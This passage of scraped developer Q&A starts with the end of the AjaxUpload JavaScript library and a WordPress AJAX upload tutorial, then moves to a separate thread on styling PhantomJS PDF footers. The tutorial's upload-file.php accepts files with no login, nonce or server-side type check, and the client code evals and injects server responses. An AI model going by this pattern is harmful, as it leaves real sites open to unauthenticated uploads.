removeClass(self._button, 'hover');
}
});
},
/**
* Creates iframe with unique name
*/
_createIframe : function(){
// unique name
// We cannot use getTime, because it sometimes return
// same value in safari :(
var id = getUID();
// Remove ie6 "This page contains both secure and nonsecure items" prompt
// http://tinyurl.com/77w9wh
var iframe = toElement('<iframe src="javascript:false;" name="' + id + '" />');
iframe.id = id;
iframe.style.display = 'none';
d.body.appendChild(iframe);
return iframe;
},
/**
* Upload file without refreshing the page
*/
submit : function(){
var self = this, settings = this._settings;
if (this._input.value === ''){
// there is no file
return;
}
// get filename from input
var file = fileFromPath(this._input.value);
// execute user event
if (! (settings.onSubmit.call(this, file, getExt(file)) == false)) {
// Create new iframe for this submission
var iframe = this._createIframe();
// Do not submit if user function returns false
var form = this._createForm(iframe);
form.appendChild(this._input);
form.submit();
d.body.removeChild(form);
form = null;
this._input = null;
// create new input
this._createInput();
var toDeleteFlag = false;
addEvent(iframe, 'load', function(e){
if (// For Safari
iframe.src == "javascript:'%3Chtml%3E%3C/html%3E';" ||
// For FF, IE
iframe.src == "javascript:'<html></html>';"){
// First time around, do not delete.
if( toDeleteFlag ){
// Fix busy state in FF3
setTimeout( function() {
d.body.removeChild(iframe);
}, 0);
}
return;
}
var doc = iframe.contentDocument ? iframe.contentDocument : frames[iframe.id].document;
// fixing Opera 9.26
if (doc.readyState && doc.readyState != 'complete'){
// Opera fires load event multiple times
// Even when the DOM is not ready yet
// this fix should not affect other browsers
return;
}
// fixing Opera 9.64
if (doc.body && doc.body.innerHTML == "false"){
// In Opera 9.64 event was fired second time
// when body.innerHTML changed from false
// to server response approx. after 1 sec
return;
}
var response;
if (doc.XMLDocument){
// response is a xml document IE property
response = doc.XMLDocument;
} else if (doc.body){
// response is html document or plain text
response = doc.body.innerHTML;
if (settings.responseType && settings.responseType.toLowerCase() == 'json'){
// If the document was sent as 'application/javascript' or
// 'text/javascript', then the browser wraps the text in a <pre>
// tag and performs html encoding on the contents. In this case,
// we need to pull the original text content from the text node's
// nodeValue property to retrieve the unmangled content.
// Note that IE6 only understands text/html
if (doc.body.firstChild && doc.body.firstChild.nodeName.toUpperCase() == 'PRE'){
response = doc.body.firstChild.firstChild.nodeValue;
}
if (response) {
response = window["eval"]("(" + response + ")");
} else {
response = {};
}
}
} else {
// response is a xml document
var response = doc;
}
settings.onComplete.call(self, file, response);
// Reload blank page, so that reloading main page
// does not re-submit the post. Also, remember to
// delete the frame
toDeleteFlag = true;
// Fix IE mixed content issue
iframe.src = "javascript:'<html></html>';";
});
} else {
// clear input to allow user to select same file
// Doesn't work in IE6
// this._input.value = '';
d.body.removeChild(this._input);
this._input = null;
// create new input
this._createInput();
}
},
/**
* Creates form, that will be submitted to iframe
*/
_createForm : function(iframe){
var settings = this._settings;
// method, enctype must be specified here
// because changing this attr on the fly is not allowed in IE 6/7
var form = toElement('<form method="post" enctype="multipart/form-data"></form>');
form.style.display = 'none';
form.action = settings.action;
form.target = iframe.name;
d.body.appendChild(form);
// Create hidden input element for each data key
for (var prop in settings.data){
var el = d.createElement("input");
el.type = 'hidden';
el.name = prop;
el.value = settings.data[prop];
form.appendChild(el);
}
return form;
}
};
})();
add this file in your header(like:<script type="text/javascript" src="<?php print get_stylesheet_directory_uri() ;?>/js/ajaxupload.3.5.js" ></script> )
Now place this code below it in header
<script type="text/javascript" >
jQuery(function(){
var btnUpload=jQuery('#upload');
var status=jQuery('#status');
new AjaxUpload(btnUpload, {
action: '<?php echo get_template_directory_uri();?>/upload-file.php',
name: 'uploadfile',
onSubmit: function(file, ext){
if (! (ext && /^(jpg|png|jpeg|gif)$/.test(ext))){
// extension is not allowed
status.text('Only JPG, PNG or GIF files are allowed');
return false;
}
//status.text('Uploading...');
status.html('<img style="float:right;position:absolute;right:-30px;top:10px" width="16" border="0" height="16" alt="" src="<?php echo get_template_directory_uri(); ?>/img/ajax-loader.gif" id="pleasewait">');
},
onComplete: function(file, response){
//alert(response);
//On completion clear the status
status.text('');
//Add uploaded file to list
if(response!='error'){
//jQuery('<li></li>').appendTo('#files').html('<img src="'+response+'" alt="" /><br />'+file).addClass('success');
jQuery('<li></li>').appendTo('#files').html(file).addClass('success');
jQuery('<input type="hidden" id="uploaded-pres" value="'+response+'"/>').appendTo('#files');
} else{
jQuery('<li></li>').appendTo('#files').text(file).addClass('error');
}
}
});
});
</script>
Now make a upload-file.php in root folder
<?php
include_once('../../../wp-load.php');
if ( ! function_exists( 'wp_handle_upload' ) ) require_once( ABSPATH . 'wp-admin/includes/file.php' );
$uploadedfile = $_FILES['uploadfile'];
$upload_overrides = array( 'test_form' => false );
$movefile = wp_handle_upload( $uploadedfile, $upload_overrides );
if ( $movefile ) {
//echo "File is successfully uploaded.\n";
echo $movefile['url'];
} else {
echo "error";
}
?>
And lastly in html where you want to use upload button just put this
<div id="upload" ><span>Upload File<span></div><span id="status" ></span>
<ul id="files" ></ul>
Note: Its looking lengthy because i have written the js file code and php code at one place.
So arrange these file.

Phantomjs doesn't render footers with a custom styles

I have the following example:
var page = require('webpage').create(),
system = require('system');
if (system.args.length < 3) {
console.log('Usage: printheaderfooter.js URL filename');
phantom.exit(1);
} else {
var address = system.args[1];
var output = system.args[2];
page.viewportSize = { width: 600, height: 600 };
page.paperSize = {
format: 'A4',
margin: "1cm"
footer: {
height: "1cm",
contents: phantom.callback(function(pageNum, numPages) {
if (pageNum == numPages) {
return "";
}
return "<h1 class='footer_style'>Footer" + pageNum + " / " + numPages + "</h1>";
})
}
};
page.open(address, function (status) {
if (status !== 'success') {
console.log('Unable to load the address!');
} else {
window.setTimeout(function () {
page.render(output);
phantom.exit();
}, 200);
}
});
}
In the example above I use footer_style class that look likes in my css file the following:
.footer_style {
text-align:right;
}
But unfortunately that dosen't works. I'm trying to create pdf file such as follows:
./phantomjs rasterize.js index.html test.pdf
We know that classes do not work but inline styles do. What we can do is replace the class with the computed style.
Here is a function that will take a piece of html, create a temporary element in the body with the html, compute the style for each element with a class, add the computed style inline and return the new html.
function replaceClassWithStyle(html) {
return page.evaluate(function(html) {
var host = document.createElement('div');
host.innerHTML = html;
document.body.appendChild(host); // if not appended, values will be blank
var elements = host.getElementsByTagName('*');
for (var i in elements) {
if (elements[i].className) {
elements[i].setAttribute('style', window.getComputedStyle(elements[i], null).cssText);
}
}
document.body.removeChild(host);
return host.innerHTML;
}, html);
}
Then simply call this function in your footer:
page.paperSize = {
footer: {
contents: phantom.callback(function(pageNum, numPages) {
if (pageNum == numPages) {
return "";
}
return replaceClassWithStyle("<h1 class='footer_style'>Footer" + pageNum + " / " + numPages + "</h1>");
})
}
};
You will need to move all this inside page.open().
I tested it and the footer is aligned to the right.
I have an update to mak's excellent answer for PhantomJS 1.9.7.
This version fixes:
Circumvent bug which 'blank's the parent document (PhantomJS 1.9.7)
Style mixups when styles are nested (do depth-first traversal instead)
Also works when tags do not have classes
/**
* Place HTML in the parent document, convert CSS styles to fixed computed style declarations, and return HTML.
* (required for headers/footers, which exist outside of the HTML document, and have trouble getting styling otherwise)
*/
function replaceCssWithComputedStyle(html) {
return page.evaluate(function(html) {
var host = document.createElement('div');
host.setAttribute('style', 'display:none;'); // Silly hack, or PhantomJS will 'blank' the main document for some reason
host.innerHTML = html;
// Append to get styling of parent page
document.body.appendChild(host);
var elements = host.getElementsByTagName('*');
// Iterate in reverse order (depth first) so that styles do not impact eachother
for (var i = elements.length - 1; i >= 0; i--) {
elements[i].setAttribute('style', window.getComputedStyle(elements[i], null).cssText);
}
// Remove from parent page again, so we're clean
document.body.removeChild(host);
return host.innerHTML;
}, html);
}
From my past experience, phantomjs does not support styles in custom header/footer.
The only solution that I found is to apply an inline style like this :
var page = require('webpage').create(),
system = require('system');
if (system.args.length < 3) {
console.log('Usage: printheaderfooter.js URL filename');
phantom.exit(1);
} else {
var address = system.args[1];
var output = system.args[2];
page.viewportSize = { width: 600, height: 600 };
page.paperSize = {
format: 'A4',
margin: "1cm",
footer: {
height: "1cm",
contents: phantom.callback(function(pageNum, numPages) {
return "<h1 style='text-align:right'>Footer" + pageNum + " / " + numPages + "</h1>";
})
}
};
page.open(address, function (status) {
if (status !== 'success') {
console.log('Unable to load the address!');
} else {
window.setTimeout(function () {
page.render(output);
phantom.exit();
}, 200);
}
});
}
Note : A comma is missing in your code after margin: "1cm"

Resources